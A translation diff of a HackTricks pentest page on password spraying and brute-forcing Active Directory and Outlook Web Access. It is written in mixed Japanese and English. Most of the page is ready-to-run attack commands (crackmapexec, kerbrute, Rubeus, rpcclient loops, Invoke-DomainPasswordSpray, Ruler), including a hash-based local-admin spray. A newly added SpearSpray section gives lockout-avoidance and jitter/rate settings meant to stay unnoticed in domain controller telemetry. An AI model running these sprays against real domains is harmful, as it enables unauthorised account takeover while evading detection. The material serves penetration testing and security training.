Translated ['', 'src/windows-hardening/active-directory-methodology/pass

src/windows-hardening/active-directory-methodology/password-spraying.md

@@ -1,19 +1,20 @@
-# パスワードスプレイ / ブルートフォース
+# Password Spraying / Brute Force
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **パスワードスプレイ**
 
-いくつかの**有効なユーザー名**を見つけたら、発見した各ユーザーに対して最も**一般的なパスワード**を試すことができます（環境のパスワードポリシーを考慮してください）。\
+## **Password Spraying**
-**デフォルト**では、**最小****パスワード****長**は**7**です。
 
-一般的なユーザー名のリストも役立つかもしれません: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も一般的な**common passwords**を試すことができます（環境の**password policy**を考慮してください）。\
+**By default**、**minimum** **password** **length**は**7**です。
 
-いくつかの間違ったパスワードを試すと**アカウントがロックアウトされる可能性がある**ことに注意してください（デフォルトでは10回以上）。
+common usernamesのリストも有用です: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-### パスワードポリシーを取得する
+注意：複数の誤った**passwords**を試行すると、一部のアカウントが**lockout**される可能性があります（by default は 10 回以上）。
 
-ユーザーの資格情報やドメインユーザーとしてのシェルがある場合は、**次のコマンドでパスワードポリシーを取得できます**:
+### Get password policy
+
+If you have some user credentials or a shell as a domain user you can **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -30,45 +31,45 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Linuxからの悪用（またはすべて）
+### Exploitation (Linux または全OSから)
 
-- **crackmapexec**を使用して：
+- 使用 **crackmapexec:**
 ```bash
 crackmapexec smb <IP> -u users.txt -p passwords.txt
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
-- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) を使用して
+- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) を使用する
 ```bash
 # Password Spraying
 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
-- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを避けるために試行回数を指定できます):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを回避するために試行回数を指定できます):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute)（Python）を使用 - 推奨されません、時々機能しないことがあります
+- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) を使用する (python) - 推奨されません。場合によっては動作しないことがあります
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
 ```
-- `scanner/smb/smb_login` モジュールを使用して **Metasploit**:
+- Metasploitの`scanner/smb/smb_login`モジュールを使用して：
 
 ![](<../../images/image (745).png>)
 
-- **rpcclient** を使用して:
+- **rpcclient**を使用して：
 ```bash
 # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
 for u in $(cat users.txt); do
 rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
 done
 ```
-#### From Windows
+#### Windows 上から
 
-- [Rubeus](https://github.com/Zer1t0/Rubeus)のブルートモジュールを使用したバージョン:
+- [Rubeus](https://github.com/Zer1t0/Rubeus) の brute module を含むバージョンで:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -76,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると（デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します）：
+- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると（デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得してそれに従って試行回数を制限します）:
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -84,21 +85,86 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 Invoke-SprayEmptyPassword
 ```
-## ブルートフォース
+## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
+### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+
+Kerberos pre-auth–based spraying は SMB/NTLM/LDAP bind attempts に比べノイズを抑え、AD lockout policies とより整合します。SpearSpray は LDAP ドリブンのターゲティング、パターンエンジン、ポリシー認識（domain policy + PSOs + badPwdCount buffer）を組み合わせて、正確かつ安全にスプレーを行います。また、Neo4j に侵害されたプリンシパルをタグ付けして BloodHound のパス探索に利用することもできます。
+
+Key ideas:
+- LDAP ユーザー検出（ページングと LDAPS サポート）、オプションでカスタム LDAP フィルタを使用可能。
+- ドメインロックアウトポリシー + PSO 対応フィルタリングにより、設定可能な試行バッファ（threshold）を残してユーザーのロックを回避。
+- 高速な gssapi bindings を使用した Kerberos pre-auth 検証（DC 上では 4625 の代わりに 4768/4771 を生成）。
+- 名前や各ユーザーの pwdLastSet に由来する時間値などの変数を使った、パターンベースのユーザー毎パスワード生成。
+- スレッド、ジッター、秒あたり最大リクエスト数によるスループット制御。
+- 任意の Neo4j 統合で、BloodHound 用に侵害済みユーザーをマーク。
+
+Basic usage and discovery:
+```bash
+# List available pattern variables
+spearspray -l
+
+# Basic run (LDAP bind over TCP/389)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
+
+# LDAPS (TCP/636)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
+```
+ターゲティングとパターン制御:
+```bash
+# Custom LDAP filter (e.g., target specific OU/attributes)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
+-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
+
+# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
+```
+ステルスおよび安全対策：
+```bash
+# Control concurrency, add jitter, and cap request rate
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
+
+# Leave N attempts in reserve before lockout (default threshold: 2)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
+```
+Neo4j/BloodHound のデータ強化：
+```bash
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
+```
+パターンシステムの概要 (patterns.txt):
+```text
+# Example templates consuming per-user attributes and temporal context
+{name}{separator}{year}{suffix}
+{month_en}{separator}{short_year}{suffix}
+{season_en}{separator}{year}{suffix}
+{samaccountname}
+{extra}{separator}{year}{suffix}
+```
+利用可能な変数には以下が含まれます:
+- {name}, {samaccountname}
+- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Composition helpers and org token: {separator}, {suffix}, {extra}
+
+運用上の注意:
+- 最も権威ある badPwdCount とポリシー関連情報を読むには、-dc を指定して PDC-emulator に問い合わせることを推奨します。
+- badPwdCount のリセットは観測ウィンドウ後の次回試行で発生するため、しきい値とタイミングを調整して安全を保ってください。
+- Kerberos pre-auth の試行は DC テレメトリで 4768/4771 として現れるため、jitter や rate-limiting を使って目立たないようにしてください。
+
+> ヒント: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
+
 ## Outlook Web Access
 
-Outlookに対するp**assword spraying**のための複数のツールがあります。
+p**assword spraying outlook**用のツールが複数あります。
 
-- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
+- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用
-- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
+- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用
-- [Ruler](https://github.com/sensepost/ruler) (信頼性あり!)
+- [Ruler](https://github.com/sensepost/ruler) を使用（信頼性が高い）
-- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
+- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用（Powershell）
-- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
+- [MailSniper](https://github.com/dafthack/MailSniper) を使用（Powershell）
 
-これらのツールを使用するには、ユーザーリストとパスワードまたは小さなパスワードリストが必要です。
+これらのツールを使用するには、ユーザーリストと spray 用の password（単一または少数）が必要です。
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -117,8 +183,13 @@ Outlookに対するp**assword spraying**のための複数のツールがあり
 - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
 - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
 
-## References
+## 参考資料
 
+- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
+- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
+- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
+- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
+- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)